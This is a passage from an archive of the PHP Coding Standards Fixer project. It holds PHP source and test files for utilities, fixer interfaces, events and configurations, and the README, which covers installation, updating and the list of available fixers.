        $iterator->rewind();
        $this->assertSame('somefile.php', $iterator->current()->getFilename());
    }
}
php-cs-fixer/Symfony/CS/Tests/UtilsTest.php000066600000007233151456236460014622 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests;

use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Utils;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author Graham Campbell <graham@mineuk.com>
 * @author Odín del Río <odin.drp@gmail.com>
 */
class UtilsTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @dataProvider provideCamelCaseToUnderscoreCases
     *
     * @param string $expected Camel case string.
     * @param string $input    Input string.
     */
    public function testCamelCaseToUnderscore($expected, $input = null)
    {
        if (null !== $input) {
            $this->assertSame($expected, Utils::camelCaseToUnderscore($input));
        }

        $this->assertSame($expected, Utils::camelCaseToUnderscore($expected));
    }

    /**
     * @return array
     */
    public function provideCamelCaseToUnderscoreCases()
    {
        return array(
            array(
                'dollar_close_curly_braces',
                'DollarCloseCurlyBraces',
            ),
            array(
                'utf8_encoder_fixer',
                'utf8EncoderFixer',
            ),
            array(
                'terminated_with_number10',
                'TerminatedWithNumber10',
            ),
            array(
                'utf8_encoder_fixer',
            ),

        );
    }

    /**
     * @dataProvider provideCmpIntCases
     */
    public function testCmpInt($expected, $left, $right)
    {
        $this->assertSame($expected, Utils::cmpInt($left, $right));
    }

    public function provideCmpIntCases()
    {
        return array(
            array(0,    1,   1),
            array(0,   -1,  -1),
            array(-1,  10,  20),
            array(-1, -20, -10),
            array(1,   20,  10),
            array(1,  -10, -20),
        );
    }

    /**
     * @dataProvider provideSplitLinesCases
     */
    public function testSplitLines(array $expected, $input)
    {
        $this->assertSame($expected, Utils::splitLines($input));
    }

    public function provideSplitLinesCases()
    {
        return array(
            array(
                array("\t aaa\n", " bbb\n", "\t"),
                "\t aaa\n bbb\n\t",
            ),
            array(
                array("aaa\r\n", " bbb\r\n"),
                "aaa\r\n bbb\r\n",
            ),
            array(
                array("aaa\r\n", " bbb\n"),
                "aaa\r\n bbb\n",
            ),
            array(
                array("aaa\r\n\n\n\r\n", " bbb\n"),
                "aaa\r\n\n\n\r\n bbb\n",
            ),
        );
    }

    /**
     * @dataProvider provideCalculateTrailingWhitespaceIndentCases
     */
    public function testCalculateTrailingWhitespaceIndent($spaces, $input)
    {
        $token = new Token(array(T_WHITESPACE, $input));

        $this->assertSame($spaces, Utils::calculateTrailingWhitespaceIndent($token));
    }

    public function provideCalculateTrailingWhitespaceIndentCases()
    {
        return array(
            array('    ', "\n\n    "),
            array(' ', "\r\n\r\r\r "),
            array("\t", "\r\n\t"),
            array('', "\t\n\r"),
            array('', "\n"),
            array('', ''),
        );
    }

    /**
     * @expectedException \InvalidArgumentException
     * @expectedExceptionMessage The given token must be whitespace.
     */
    public function testCalculateTrailingWhitespaceIndentFail()
    {
        $token = new Token(array(T_STRING, 'foo'));

        Utils::calculateTrailingWhitespaceIndent($token);
    }
}
php-cs-fixer/Symfony/CS/FixerInterface.php000066600000003521151456236460014452 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 */
interface FixerInterface
{
    const NONE_LEVEL = 0;
    const PSR0_LEVEL = 1;
    const PSR1_LEVEL = 3;
    const PSR2_LEVEL = 7;
    const SYMFONY_LEVEL = 15;
    const CONTRIB_LEVEL = 32;

    /**
     * Fixes a file.
     *
     * @param \SplFileInfo $file    A \SplFileInfo instance
     * @param string       $content The file content
     *
     * @return string The fixed file content
     */
    public function fix(\SplFileInfo $file, $content);

    /**
     * Returns the description of the fixer.
     *
     * A short one-line description of what the fixer does.
     *
     * @return string The description of the fixer
     */
    public function getDescription();

    /**
     * Returns the level of CS standard.
     *
     * Can be one of:
     *  - self::PSR0_LEVEL,
     *  - self::PSR1_LEVEL,
     *  - self::PSR2_LEVEL,
     *  - self::SYMFONY_LEVEL,
     *  - self::CONTRIB_LEVEL.
     */
    public function getLevel();

    /**
     * Returns the name of the fixer.
     *
     * The name must be all lowercase and without any spaces.
     *
     * @return string The name of the fixer
     */
    public function getName();

    /**
     * Returns the priority of the fixer.
     *
     * The default priority is 0 and higher priorities are executed first.
     *
     * @return int
     */
    public function getPriority();

    /**
     * Returns true if the file is supported by this fixer.
     *
     * @return bool true if the file is supported by this fixer, false otherwise
     */
    public function supports(\SplFileInfo $file);
}
php-cs-fixer/Symfony/CS/Utils.php000066600000005566151456236460012667 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

use Symfony\CS\Tokenizer\Token;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author Graham Campbell <graham@mineuk.com>
 * @author Odín del Río <odin.drp@gmail.com>
 */
class Utils
{
    /**
     * Calculate a bitmask for given constant names.
     *
     * @param string[] $options constant names
     *
     * @return int
     */
    public static function calculateBitmask(array $options)
    {
        $bitmask = 0;

        foreach ($options as $optionName) {
            if (defined($optionName)) {
                $bitmask |= constant($optionName);
            }
        }

        return $bitmask;
    }

    /**
     * Converts a camel cased string to an snake cased string.
     *
     * @param string $string
     *
     * @return string
     */
    public static function camelCaseToUnderscore($string)
    {
        return preg_replace_callback(
            '/(^|[a-z0-9])([A-Z])/',
            function (array $matches) {
                return strtolower(strlen($matches[1]) ? $matches[1].'_'.$matches[2] : $matches[2]);
            },
            $string
        );
    }

    /**
     * Compare two integers for equality.
     *
     * We'll return 0 if they're equal, 1 if the first is bigger than the
     * second, and -1 if the second is bigger than the first.
     *
     * @param int $a
     * @param int $b
     *
     * @return int
     */
    public static function cmpInt($a, $b)
    {
        if ($a === $b) {
            return 0;
        }

        return $a < $b ? -1 : 1;
    }

    /**
     * Split a multi-line string up into an array of strings.
     *
     * We're retaining a newline character at the end of non-blank lines, and
     * discarding other lines, so this function is unsuitable for anyone for
     * wishing to retain the exact number of line endings. If a single-line
     * string is passed, we'll just return an array with a element.
     *
     * @param string $content
     *
     * @return string[]
     */
    public static function splitLines($content)
    {
        preg_match_all("/[^\n\r]+[\r\n]*/", $content, $matches);

        return $matches[0];
    }

    /**
     * Calculate the trailing whitespace indentation.
     *
     * What we're doing here is grabbing everything after the final newline.
     *
     * @param Token $token
     *
     * @return string
     */
    public static function calculateTrailingWhitespaceIndent(Token $token)
    {
        if (!$token->isWhitespace()) {
            throw new \InvalidArgumentException('The given token must be whitespace.');
        }

        return ltrim(strrchr(str_replace(array("\r\n", "\r"), "\n", $token->getContent()), 10), "\n");
    }
}
php-cs-fixer/Symfony/CS/FixerFileProcessedEvent.php000066600000004604151456236460016306 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

use Symfony\Component\EventDispatcher\Event;

/**
 * Event that is fired when file was processed by Fixer.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class FixerFileProcessedEvent extends Event
{
    /**
     * Event name.
     */
    const NAME = 'fixer.file_processed';

    const STATUS_UNKNOWN = 0;
    const STATUS_INVALID = 1;
    const STATUS_SKIPPED = 2;
    const STATUS_NO_CHANGES = 3;
    const STATUS_FIXED = 4;
    const STATUS_EXCEPTION = 5;
    const STATUS_LINT = 6;

    /**
     * File statuses map.
     *
     * @var array
     */
    private static $statusMap = array(
        self::STATUS_UNKNOWN => array('symbol' => '?', 'description' => 'unknown'),
        self::STATUS_INVALID => array('symbol' => 'I', 'description' => 'invalid file syntax, file ignored'),
        self::STATUS_SKIPPED => array('symbol' => '',  'description' => ''),
        self::STATUS_NO_CHANGES => array('symbol' => '.', 'description' => 'no changes'),
        self::STATUS_FIXED => array('symbol' => 'F', 'description' => 'fixed'),
        self::STATUS_EXCEPTION => array('symbol' => 'E', 'description' => 'error'),
        self::STATUS_LINT => array('symbol' => 'E', 'description' => 'error'),
    );

    /**
     * File status.
     *
     * @var int
     */
    private $status = self::STATUS_UNKNOWN;

    /**
     * Create instance.
     *
     * @return FixerFileProcessedEvent
     */
    public static function create()
    {
        return new static();
    }

    /**
     * Get status map.
     *
     * @return array
     */
    public static function getStatusMap()
    {
        return self::$statusMap;
    }

    /**
     * Get status.
     *
     * @return int
     */
    public function getStatus()
    {
        return $this->status;
    }

    /**
     * Get status as string.
     *
     * @return string
     */
    public function getStatusAsString()
    {
        return self::$statusMap[$this->status]['symbol'];
    }

    /**
     * Set status.
     *
     * @param int $status
     *
     * @return FixerFileProcessedEvent
     */
    public function setStatus($status)
    {
        $this->status = $status;

        return $this;
    }
}
php-cs-fixer/Symfony/CS/ErrorsManager.php000066600000002360151456236460014323 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

/**
 * Manager of errors that occur during fixing.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ErrorsManager
{
    const ERROR_TYPE_EXCEPTION = 1;
    const ERROR_TYPE_LINT = 2;

    /**
     * Errors.
     *
     * @var array
     */
    private $errors = array();

    /**
     * Get all reported errors.
     *
     * @return array
     */
    public function getErrors()
    {
        return $this->errors;
    }

    /**
     * Check if no errors was reported.
     *
     * @return bool
     */
    public function isEmpty()
    {
        return empty($this->errors);
    }

    /**
     * Report error.
     *
     * @param int    $type     error type
     * @param string $filepath file, on which error occurs
     * @param string $message  description of error
     */
    public function report($type, $filepath, $message)
    {
        $this->errors[] = array(
            'type' => $type,
            'filepath' => $filepath,
            'message' => $message,
        );
    }
}
php-cs-fixer/Symfony/CS/ConfigInterface.php000066600000003462151456236460014606 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 */
interface ConfigInterface
{
    /**
     * Returns the name of the configuration.
     *
     * The name must be all lowercase and without any spaces.
     *
     * @return string The name of the configuration
     */
    public function getName();

    /**
     * Returns the description of the configuration.
     *
     * A short one-line description for the configuration.
     *
     * @return string The description of the configuration
     */
    public function getDescription();

    /**
     * Returns an iterator of files to scan.
     *
     * @return \Traversable A \Traversable instance that returns \SplFileInfo instances
     */
    public function getFinder();

    /**
     * Returns the level to run.
     *
     * @return int A level
     */
    public function getLevel();

    /**
     * Returns the fixers to run.
     *
     * @return array A list of fixer names
     */
    public function getFixers();

    /**
     * Sets the root directory of the project.
     *
     * @param string $dir The project root directory
     */
    public function setDir($dir);

    /**
     * Returns the root directory of the project.
     *
     * @return string The project root directory
     */
    public function getDir();

    /**
     * Adds an instance of a custom fixer.
     *
     * @param FixerInterface $fixer
     */
    public function addCustomFixer(FixerInterface $fixer);

    /**
     * Returns the custom fixers to use.
     *
     * @return FixerInterface[]
     */
    public function getCustomFixers();
}
php-cs-fixer/Symfony/CS/Config/MagentoConfig.php000066600000001253151456236460015501 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Config;

use Symfony\CS\Finder\MagentoFinder;

/**
 * @author Myke Hines <myke@webhines.com>
 */
class MagentoConfig extends Config
{
    public function __construct()
    {
        parent::__construct();

        $this->finder = new MagentoFinder();
    }

    public function getName()
    {
        return 'magento';
    }

    public function getDescription()
    {
        return 'The configuration for a Magento application';
    }
}
php-cs-fixer/Symfony/CS/Config/Symfony23Config.php000066600000001267151456236460015725 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Config;

use Symfony\CS\Finder\Symfony23Finder;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 */
class Symfony23Config extends Config
{
    public function __construct()
    {
        parent::__construct();

        $this->finder = new Symfony23Finder();
    }

    public function getName()
    {
        return 'sf23';
    }

    public function getDescription()
    {
        return 'The configuration for the Symfony 2.3+ branch';
    }
}
php-cs-fixer/Symfony/CS/Config/Config.php000066600000005776151456236460014204 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Config;

use Symfony\CS\ConfigInterface;
use Symfony\CS\Finder\DefaultFinder;
use Symfony\CS\FinderInterface;
use Symfony\CS\FixerInterface;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Katsuhiro Ogawa <ko.fivestar@gmail.com>
 */
class Config implements ConfigInterface
{
    protected $name;
    protected $description;
    protected $finder;
    protected $level;
    protected $fixers;
    protected $dir;
    protected $customFixers;
    protected $usingCache = false;
    protected $usingLinter = true;
    protected $hideProgress = false;

    public function __construct($name = 'default', $description = 'A default configuration')
    {
        $this->name = $name;
        $this->description = $description;
        $this->level = FixerInterface::SYMFONY_LEVEL;
        $this->fixers = array();
        $this->finder = new DefaultFinder();
        $this->customFixers = array();
    }

    public static function create()
    {
        return new static();
    }

    public function setDir($dir)
    {
        $this->dir = $dir;
    }

    public function setUsingCache($usingCache)
    {
        $this->usingCache = $usingCache;

        return $this;
    }

    public function setUsingLinter($usingLinter)
    {
        $this->usingLinter = $usingLinter;

        return $this;
    }

    public function getDir()
    {
        return $this->dir;
    }

    public function finder(\Traversable $finder)
    {
        $this->finder = $finder;

        return $this;
    }

    public function getFinder()
    {
        if ($this->finder instanceof FinderInterface && $this->dir !== null) {
            $this->finder->setDir($this->dir);
        }

        return $this->finder;
    }

    public function level($level)
    {
        $this->level = $level;

        return $this;
    }

    public function getLevel()
    {
        return $this->level;
    }

    public function fixers($fixers)
    {
        $this->fixers = $fixers;

        return $this;
    }

    public function getFixers()
    {
        return $this->fixers;
    }

    public function getName()
    {
        return $this->name;
    }

    public function getDescription()
    {
        return $this->description;
    }

    public function getHideProgress()
    {
        return $this->hideProgress;
    }

    public function addCustomFixer(FixerInterface $fixer)
    {
        $this->customFixers[] = $fixer;

        return $this;
    }

    public function getCustomFixers()
    {
        return $this->customFixers;
    }

    public function hideProgress($hideProgress)
    {
        $this->hideProgress = $hideProgress;

        return $this;
    }

    public function usingCache()
    {
        return $this->usingCache;
    }

    public function usingLinter()
    {
        return $this->usingLinter;
    }
}
php-cs-fixer/Symfony/CS/AbstractAnnotationRemovalFixer.php000066600000002641151456236460017700 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

use Symfony\CS\DocBlock\DocBlock;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
abstract class AbstractAnnotationRemovalFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // must be run before the PhpdocSeparationFixer, PhpdocOrderFixer, and
        // PhpdocTrimFixer
        return 10;
    }

    /**
     * Make sure the expected number of new lines prefix a namespace.
     *
     * @param Tokens   $tokens
     * @param string[] $type
     */
    protected function removeAnnotations(Tokens $tokens, array $type)
    {
        foreach ($tokens as $token) {
            if (!$token->isGivenKind(T_DOC_COMMENT)) {
                continue;
            }

            $doc = new DocBlock($token->getContent());
            $annotations = $doc->getAnnotationsOfType($type);

            // nothing to do if there are no annotations
            if (empty($annotations)) {
                continue;
            }

            foreach ($annotations as $annotation) {
                $annotation->remove();
            }

            $token->setContent($doc->getContent());
        }
    }
}
php-cs-fixer/.coveralls.yml000066600000000021151456236460011655 0ustar00src_dir: Symfony
php-cs-fixer/README.rst000066600000062330151456236460010564 0ustar00PHP Coding Standards Fixer
==========================

The PHP Coding Standards Fixer tool fixes *most* issues in your code when you
want to follow the PHP coding standards as defined in the PSR-1 and PSR-2
documents.

If you are already using ``PHP_CodeSniffer`` to identify coding standards
problems in your code, you know that fixing them by hand is tedious, especially
on large projects. This tool does the job for you.

Requirements
------------

PHP needs to be a minimum version of PHP 5.3.6.

Installation
------------

Locally
~~~~~~~

Download the `php-cs-fixer.phar`_ file and store it somewhere on your computer.

Globally (manual)
~~~~~~~~~~~~~~~~~

You can run these commands to easily access ``php-cs-fixer`` from anywhere on
your system:

.. code-block:: bash

    $ wget https://github.com/FriendsOfPHP/PHP-CS-Fixer/releases/download/v1.11.6/php-cs-fixer.phar -O php-cs-fixer

or with curl:

.. code-block:: bash

    $ curl -L https://github.com/FriendsOfPHP/PHP-CS-Fixer/releases/download/v1.11.6/php-cs-fixer.phar -o php-cs-fixer

then:

.. code-block:: bash

    $ sudo chmod a+x php-cs-fixer
    $ sudo mv php-cs-fixer /usr/local/bin/php-cs-fixer

Then, just run ``php-cs-fixer``.

Globally (Composer)
~~~~~~~~~~~~~~~~~~~

To install PHP-CS-Fixer, install Composer and issue the following command:

.. code-block:: bash

    $ ./composer.phar global require fabpot/php-cs-fixer

Then, make sure you have ``~/.composer/vendor/bin`` in your ``PATH``, and
you're good to go:

.. code-block:: bash

    export PATH="$PATH:$HOME/.composer/vendor/bin"

Globally (homebrew)
~~~~~~~~~~~~~~~~~~~

PHP-CS-Fixer is part of the homebrew-php project. Follow the installation
instructions at https://github.com/homebrew/homebrew-php if you don't
already have it.

.. code-block:: bash

    $ brew install homebrew/php/php-cs-fixer

Update
------

Locally
~~~~~~~

The ``self-update`` command tries to update ``php-cs-fixer`` itself:

.. code-block:: bash

    $ php php-cs-fixer.phar self-update

Globally (manual)
~~~~~~~~~~~~~~~~~

You can update ``php-cs-fixer`` through this command:

.. code-block:: bash

    $ sudo php-cs-fixer self-update

Globally (Composer)
~~~~~~~~~~~~~~~~~~~

You can update ``php-cs-fixer`` through this command:

.. code-block:: bash

    $ ./composer.phar global update fabpot/php-cs-fixer

Globally (homebrew)
~~~~~~~~~~~~~~~~~~~

You can update ``php-cs-fixer`` through this command:

.. code-block:: bash

    $ brew upgrade php-cs-fixer

Usage
-----

The ``fix`` command tries to fix as much coding standards
problems as possible on a given file or directory:

.. code-block:: bash

    php php-cs-fixer.phar fix /path/to/dir
    php php-cs-fixer.phar fix /path/to/file

The ``--verbose`` option show applied fixers. When using ``txt`` format (default one) it will also displays progress notification.

The ``--level`` option limits the fixers to apply on the
project:

.. code-block:: bash

    php php-cs-fixer.phar fix /path/to/project --level=psr0
    php php-cs-fixer.phar fix /path/to/project --level=psr1
    php php-cs-fixer.phar fix /path/to/project --level=psr2
    php php-cs-fixer.phar fix /path/to/project --level=symfony

By default, all PSR-2 fixers and some additional ones are run. The "contrib
level" fixers cannot be enabled via this option; you should instead set them
manually by their name via the ``--fixers`` option.

The ``--fixers`` option lets you choose the exact fixers to
apply (the fixer names must be separated by a comma):

.. code-block:: bash

    php php-cs-fixer.phar fix /path/to/dir --fixers=linefeed,short_tag,indentation

You can also blacklist the fixers you don't want by placing a dash in front of the fixer name, if this is more convenient,
using ``-name_of_fixer``:

.. code-block:: bash

    php php-cs-fixer.phar fix /path/to/dir --fixers=-short_tag,-indentation

When using combination with exact and blacklist fixers, apply exact fixers along with above blacklisted result:

.. code-block:: bash

    php php-cs-fixer.phar fix /path/to/dir --fixers=linefeed,-short_tag

A combination of ``--dry-run`` and ``--diff`` will
display summary of proposed fixes, leaving your files unchanged.

The command can also read from standard input, in which case it won't
automatically fix anything:

.. code-block:: bash

    cat foo.php | php php-cs-fixer.phar fix --diff -

Choose from the list of available fixers:

* **psr0** [PSR-0]
                        Classes must be in a path that
                        matches their namespace, be at
                        least one namespace deep, and
                        the class name should match
                        the file name.

* **encoding** [PSR-1]
                        PHP code MUST use only UTF-8
                        without BOM (remove BOM).

* **short_tag** [PSR-1]
                        PHP code must use the long
                        <?php ?> tags or the
                        short-echo <?= ?> tags; it
                        must not use the other tag
                        variations.

* **braces** [PSR-2]
                        The body of each structure
                        MUST be enclosed by braces.
                        Braces should be properly
                        placed. Body of braces should
                        be properly indented.

* **elseif** [PSR-2]
                        The keyword elseif should be
                        used instead of else if so
                        that all control keywords
                        looks like single words.

* **eof_ending** [PSR-2]
                        A file must always end with a
                        single empty line feed.

* **function_call_space** [PSR-2]
                        When making a method or
                        function call, there MUST NOT
                        be a space between the method
                        or function name and the
                        opening parenthesis.

* **function_declaration** [PSR-2]
                        Spaces should be properly
                        placed in a function
                        declaration.

* **indentation** [PSR-2]
                        Code MUST use an indent of 4
                        spaces, and MUST NOT use tabs
                        for indenting.

* **line_after_namespace** [PSR-2]
                        There MUST be one blank line
                        after the namespace
                        declaration.

* **linefeed** [PSR-2]
                        All PHP files must use the
                        Unix LF (linefeed) line
                        ending.

* **lowercase_constants** [PSR-2]
                        The PHP constants true, false,
                        and null MUST be in lower
                        case.

* **lowercase_keywords** [PSR-2]
                        PHP keywords MUST be in lower
                        case.

* **method_argument_space** [PSR-2]
                        In method arguments and method
                        call, there MUST NOT be a
                        space before each comma and
                        there MUST be one space after
                        each comma.

* **multiple_use** [PSR-2]
                        There MUST be one use keyword
                        per declaration.

* **parenthesis** [PSR-2]
                        There MUST NOT be a space
                        after the opening parenthesis.
                        There MUST NOT be a space
                        before the closing
                        parenthesis.

* **php_closing_tag** [PSR-2]
                        The closing ?> tag MUST be
                        omitted from files containing
                        only PHP.

* **single_line_after_imports** [PSR-2]
                        Each namespace use MUST go on
                        its own line and there MUST be
                        one blank line after the use
                        statements block.

* **trailing_spaces** [PSR-2]
                        Remove trailing whitespace at
                        the end of non-blank lines.

* **visibility** [PSR-2]
                        Visibility MUST be declared on
                        all properties and methods;
                        abstract and final MUST be
                        declared before the
                        visibility; static MUST be
                        declared after the visibility.

* **array_element_no_space_before_comma** [symfony]
                        In array declaration, there
                        MUST NOT be a whitespace
                        before each comma.

* **array_element_white_space_after_comma** [symfony]
                        In array declaration, there
                        MUST be a whitespace after
                        each comma.

* **blankline_after_open_tag** [symfony]
                        Ensure there is no code on the
                        same line as the PHP open tag
                        and it is followed by a
                        blankline.

* **concat_without_spaces** [symfony]
                        Concatenation should be used
                        without spaces.

* **double_arrow_multiline_whitespaces** [symfony]
                        Operator => should not be
                        surrounded by multi-line
                        whitespaces.

* **duplicate_semicolon** [symfony]
                        Remove duplicated semicolons.

* **empty_return** [symfony]
                        A return statement wishing to
                        return nothing should be
                        simply "return".

* **extra_empty_lines** [symfony]
                        Removes extra empty lines.

* **function_typehint_space** [symfony]
                        Add missing space between
                        function's argument and its
                        typehint.

* **include** [symfony]
                        Include and file path should
                        be divided with a single
                        space. File path should not be
                        placed under brackets.

* **join_function** [symfony]
                        Implode function should be
                        used instead of join function.

* **list_commas** [symfony]
                        Remove trailing commas in list
                        function calls.

* **multiline_array_trailing_comma** [symfony]
                        PHP multi-line arrays should
                        have a trailing comma.

* **namespace_no_leading_whitespace** [symfony]
                        The namespace declaration line
                        shouldn't contain leading
                        whitespace.

* **new_with_braces** [symfony]
                        All instances created with new
                        keyword must be followed by
                        braces.

* **no_blank_lines_after_class_opening** [symfony]
                        There should be no empty lines
                        after class opening brace.

* **no_empty_lines_after_phpdocs** [symfony]
                        There should not be blank
                        lines between docblock and the
                        documented element.

* **object_operator** [symfony]
                        There should not be space
                        before or after object
                        T_OBJECT_OPERATOR.

* **operators_spaces** [symfony]
                        Binary operators should be
                        surrounded by at least one
                        space.

* **phpdoc_indent** [symfony]
                        Docblocks should have the same
                        indentation as the documented
                        subject.

* **phpdoc_inline_tag** [symfony]
                        Fix PHPDoc inline tags, make
                        inheritdoc always inline.

* **phpdoc_no_access** [symfony]
                        @access annotations should be
                        omitted from phpdocs.

* **phpdoc_no_empty_return** [symfony]
                        @return void and @return null
                        annotations should be omitted
                        from phpdocs.

* **phpdoc_no_package** [symfony]
                        @package and @subpackage
                        annotations should be omitted
                        from phpdocs.

* **phpdoc_params** [symfony]
                        All items of the @param,
                        @throws, @return, @var, and
                        @type phpdoc tags must be
                        aligned vertically.

* **phpdoc_scalar** [symfony]
                        Scalar types should always be
                        written in the same form.
                        "int", not "integer"; "bool",
                        not "boolean"; "float", not
                        "real" or "double".

* **phpdoc_separation** [symfony]
                        Annotations in phpdocs should
                        be grouped together so that
                        annotations of the same type
                        immediately follow each other,
                        and annotations of a different
                        type are separated by a single
                        blank line.

* **phpdoc_short_description** [symfony]
                        Phpdocs short descriptions
                        should end in either a full
                        stop, exclamation mark, or
                        question mark.

* **phpdoc_to_comment** [symfony]
                        Docblocks should only be used
                        on structural elements.

* **phpdoc_trim** [symfony]
                        Phpdocs should start and end
                        with content, excluding the
                        very first and last line of
                        the docblocks.

* **phpdoc_type_to_var** [symfony]
                        @type should always be written
                        as @var.

* **phpdoc_types** [symfony]
                        The correct case must be used
                        for standard PHP types in
                        phpdoc.

* **phpdoc_var_without_name** [symfony]
                        @var and @type annotations
                        should not contain the
                        variable name.

* **pre_increment** [symfony]
                        Pre
                        incrementation/decrementation
                        should be used if possible.

* **print_to_echo** [symfony]
                        Converts print language
                        construct to echo if possible.

* **remove_leading_slash_use** [symfony]
                        Remove leading slashes in use
                        clauses.

* **remove_lines_between_uses** [symfony]
                        Removes line breaks between
                        use statements.

* **return** [symfony]
                        An empty line feed should
                        precede a return statement.

* **self_accessor** [symfony]
                        Inside a classy element "self"
                        should be preferred to the
                        class name itself.

* **short_bool_cast** [symfony]
                        Short cast bool using double
                        exclamation mark should not be
                        used.

* **single_array_no_trailing_comma** [symfony]
                        PHP single-line arrays should
                        not have trailing comma.

* **single_blank_line_before_namespace** [symfony]
                        There should be exactly one
                        blank line before a namespace
                        declaration.

* **single_quote** [symfony]
                        Convert double quotes to
                        single quotes for simple
                        strings.

* **spaces_before_semicolon** [symfony]
                        Single-line whitespace before
                        closing semicolon are
                        prohibited.

* **spaces_cast** [symfony]
                        A single space should be
                        between cast and variable.

* **standardize_not_equal** [symfony]
                        Replace all <> with !=.

* **ternary_spaces** [symfony]
                        Standardize spaces around
                        ternary operator.

* **trim_array_spaces** [symfony]
                        Arrays should be formatted
                        like function/method
                        arguments, without leading or
                        trailing single line space.

* **unalign_double_arrow** [symfony]
                        Unalign double arrow symbols.

* **unalign_equals** [symfony]
                        Unalign equals symbols.

* **unary_operators_spaces** [symfony]
                        Unary operators should be
                        placed adjacent to their
                        operands.

* **unneeded_control_parentheses** [symfony]
                        Removes unneeded parentheses
                        around control statements.

* **unused_use** [symfony]
                        Unused use statements must be
                        removed.

* **whitespacy_lines** [symfony]
                        Remove trailing whitespace at
                        the end of blank lines.

* **align_double_arrow** [contrib]
                        Align double arrow symbols in
                        consecutive lines.

* **align_equals** [contrib]
                        Align equals symbols in
                        consecutive lines.

* **concat_with_spaces** [contrib]
                        Concatenation should be used
                        with at least one whitespace
                        around.

* **echo_to_print** [contrib]
                        Converts echo language
                        construct to print if
                        possible.

* **ereg_to_preg** [contrib]
                        Replace deprecated ereg
                        regular expression functions
                        with preg. Warning! This could
                        change code behavior.

* **header_comment** [contrib]
                        Add, replace or remove header
                        comment.

* **logical_not_operators_with_spaces** [contrib]
                        Logical NOT operators (!)
                        should have leading and
                        trailing whitespaces.

* **logical_not_operators_with_successor_space** [contrib]
                        Logical NOT operators (!)
                        should have one trailing
                        whitespace.

* **long_array_syntax** [contrib]
                        Arrays should use the long
                        syntax.

* **multiline_spaces_before_semicolon** [contrib]
                        Multi-line whitespace before
                        closing semicolon are
                        prohibited.

* **newline_after_open_tag** [contrib]
                        Ensure there is no code on the
                        same line as the PHP open tag.

* **no_blank_lines_before_namespace** [contrib]
                        There should be no blank lines
                        before a namespace
                        declaration.

* **ordered_use** [contrib]
                        Ordering use statements.

* **php4_constructor** [contrib]
                        Convert PHP4-style
                        constructors to __construct.
                        Warning! This could change
                        code behavior.

* **php_unit_construct** [contrib]
                        PHPUnit assertion method calls
                        like "->assertSame(true,
                        $foo)" should be written with
                        dedicated method like
                        "->assertTrue($foo)". Warning!
                        This could change code
                        behavior.

* **php_unit_strict** [contrib]
                        PHPUnit methods like
                        "assertSame" should be used
                        instead of "assertEquals".
                        Warning! This could change
                        code behavior.

* **phpdoc_order** [contrib]
                        Annotations in phpdocs should
                        be ordered so that param
                        annotations come first, then
                        throws annotations, then
                        return annotations.

* **phpdoc_var_to_type** [contrib]
                        @var should always be written
                        as @type.

* **short_array_syntax** [contrib]
                        PHP arrays should use the PHP
                        5.4 short-syntax.

* **short_echo_tag** [contrib]
                        Replace short-echo <?= with
                        long format <?php echo syntax.

* **strict** [contrib]
                        Comparison should be strict.
                        Warning! This could change
                        code behavior.

* **strict_param** [contrib]
                        Functions should be used with
                        $strict param. Warning! This
                        could change code behavior.


The ``--config`` option customizes the files to analyse, based
on some well-known directory structures:

.. code-block:: bash

    # For the Symfony 2.3+ branch
    php php-cs-fixer.phar fix /path/to/sf23 --config=sf23

Choose from the list of available configurations:

* **default** A default configuration

* **magento** The configuration for a Magento application

* **sf23**    The configuration for the Symfony 2.3+ branch

The ``--dry-run`` option displays the files that need to be
fixed but without actually modifying them:

.. code-block:: bash

    php php-cs-fixer.phar fix /path/to/code --dry-run

